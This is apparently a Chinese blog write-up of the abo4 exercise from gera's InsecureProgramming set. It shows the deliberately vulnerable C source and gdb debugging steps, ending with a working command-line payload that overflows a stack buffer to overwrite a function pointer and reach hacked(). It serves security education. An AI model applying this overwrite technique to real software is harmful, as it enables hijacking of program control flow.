一、实验说明

1、实验环境:

Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04

Codename: xenial

2、实验工具:

gdb

3、源码

首先看看abo4的源码:

/* abo4.c                                                    ** specially crafted to feed your brain by gera@core-sdi.com *//* After this one, the next is just an Eureka! away          */int hacked(void)
{printf("Congratulation! You have successed!\n");return 0;
}
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;int main(int argv,char **argc) {char *pbuf=malloc(strlen(argc[2])+1);char buf[256];fn=(void(*)(char*))&puts;strcpy(buf,argc[1]);strcpy(pbuf,argc[2]);fn(argc[3]);while(1);
}

4、实验目的

构造字符串,实现栈溢出,从而执行函数hacked()。

5、编译:

二、分析汇编

在后半部分的汇编代码中,出现了三处函数调用。

在地址0x8048561处,程序将数据段0x804a028处的值赋值给eax,再在3处,通过call指令,跳转到相应地址继续执行。
查看0x804a028处的值,由于程序还未运行,因此该地址处还未赋值,但猜想可能会存储fn()函数的地址,等调试程序时再去验证猜想。

三、调试

1、设置断点并输入字符串开始运行程序。

2、使用c指令直接运行到第二个断点处,eax中存储了buf的地址,为0xffffce9c。

3、使用c指令直接运行到第三个断点处,ebp=0xffffcfa8,pbuf的地址为[ebp-0xc]=0x804b008。

4、单步运行,此时1和2两处的strcpy都已完成复制操作。

5、继续单步调试,发现在数据段0x804a028处确实存有fn()的函数地址,即0x8048390,证明了我们最初的猜想。

四、构造字符串

首先,通过1处的strcpy()制造溢出,将pbuf的地址修改为0x804a028;

然后,通过2处的strcpy(),将hacked()的地址复制到0x804a028,替换掉原来fn()的地址,用以完成跳转。

buf:‘c’*256+0x804a028

pbuf: 0x80484cb(hacked()的地址)

r $(python -c "print('c'*256+'\x28\xa0\x04\x08')") $(python -c "print('\xcb\x84\x04\x08')") alwin_cx

InsecureProgramming-master——abo4相关推荐

  1. git 创建分支并合并到master 上

    1 创建一个dev的分支 git branch dev 2 切换到dev 分支上 git checkout dev (创建并切换是git checkout -b 分支名) -------------- ...

  2. 查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试

    在SQL中可以通过查询Master下的系统表(sys)和系统视图(information_schema)获取数据库的信息.SQL2000和SQL2005的结构略有不同. 系统表结构参考系统表详细说明. ...

  3. git ssh创建分支_Git(2):在gitlab中创建开发用户,以及master分支的安全管理

    一.创建用户 1.创建管理gitlab的开发人员的用户 2.配置用户信息 3.将用户添加到java-daem组中 4.用户登录成功后,在用户界面为用户添加ssh认证 5.在linux主机中将maste ...

  4. Blender程序性纹理学习教程大师班 Creative Shrimp – Procedural Texturing Blender Master Class

    标题:创意虾-程序纹理Blender大师班 信息: 什么是程序纹理? 程序纹理将简单的数学转换为无限的真实感着色器,具有无限的多样性和分辨率. 超越看起来像一团像素特写的图像纹理,运用程序纹理的力量, ...

  5. c4d跟踪特效合成视频教程 Master Motion Tracking with Cinema 4D

    c4d跟踪特效合成视频教程 Master Motion Tracking with Cinema 4D MP4 |视频:h264,1280×720 |音频:aac,48000 Hz 语言:英语+机译中 ...

  6. Maya硬表面建模学习教程 Master Hard Surface Modeling in Maya 2020

    Maya硬表面建模学习教程 Master Hard Surface Modeling in Maya 2020 流派:电子学习| MP4 |视频:h264,1280×720 |音频:aac,48000 ...

  7. 新建本地仓库,同步远程仓场景,出现git branch --set-upstream-to=origin/master master 解决方法...

    1.本地创建一个本地仓库  2.关联远程端: git remote add origin git@github.com:用户名/远程库名.git 3.同步远程仓库到本地 git pull 这个时候会报 ...

  8. 完全隐藏Master Page Site Actions菜单只有管理员才可以看见

    1. 在Master Page Head 增加下面的Style <style type="text/css"> .ms-cui-tt { visibility:hidd ...

  9. SQL Server 中master..spt_values的应用

    今天在做数据分析报表的时候遇到一个这样的问题. 表结构如下. 部门编码.部门名称.部门人员ID(中间用逗号分割) 我想通过和人员表链接,查询出一个新的数据集,查询出的结果集格式如下: 人员信息(ID或 ...

  10. ASP.NET 2.0 中配合 Master Page 使用的优化 CSS 模型

    ASP.NET 2.0 中增加了内建的 MasterPage 的支持,这对我们来说是一个很大的便利.然而经过一段时间的使用,我发现 MasterPage 并不是那么完美:嵌套的 MasterPage ...

最新文章

  1. gatsby_将您的GraphCMS数据导入Gatsby
  2. Netty 如何做到单机秒级接收 35 万个对象?
  3. ruby环境sass编译中文出现Syntax error: Invalid GBK character错误解决方法
  4. linux shell中./a.sh , sh a.sh , source a.sh, . ./a.sh的区别
  5. python3.5.0下载-python核心编程最新版下载
  6. php utf不执行,PHP和UTF-8-为什么邮件不起作用?
  7. android百度地图sdk定位权限,Android:使用百度地图SDK实现定位:下载SDK、申请密钥、动态获得Android权限...
  8. 电脑科学性计算机怎么用,怎么使用科学计算器59 000×(1+r)-2
  9. python发送邮件 退回_python 发送邮件(收到的邮件要有发送方才能回复)
  10. linux网络编程(四)线程池
  11. 学习一下戴戒指的含义[转]
  12. Linux命令解释之head
  13. EasyUI的databox取值
  14. 全球与中国冲压空气涡轮行业调查与未来发展趋势研究报告
  15. 让window10停止更新的办法
  16. css3 画太极图——用一个div实现
  17. PDF如何插入空白页面,来教你试试这种方法
  18. 欧莱雅的矿物质粉今天去买回来了
  19. 【存储知识】NAS存储
  20. 一元三次方程-盛金公式求解

热门文章

  1. over()分析函数
  2. 三/五/七/九点二次平滑法
  3. html如何取消页眉页脚设置,jquery web打印 取消 页眉和页脚
  4. (三)elasticsearch学习笔记————文档基本操作
  5. mysql column specified twice_Mysql抛出Column 'descriptions' specified twice异常解决方法
  6. 计算机科学系班服主题,高校流行班服“设计风”
  7. 深度 | 苹果略胜微软一筹,为什么说 ARKit 是 AR 的最好选择?
  8. ios中获得UUID的方法
  9. 工作流——流程设计器
  10. ghost linux 黑屏,Ghost 与 Linux 的兼容性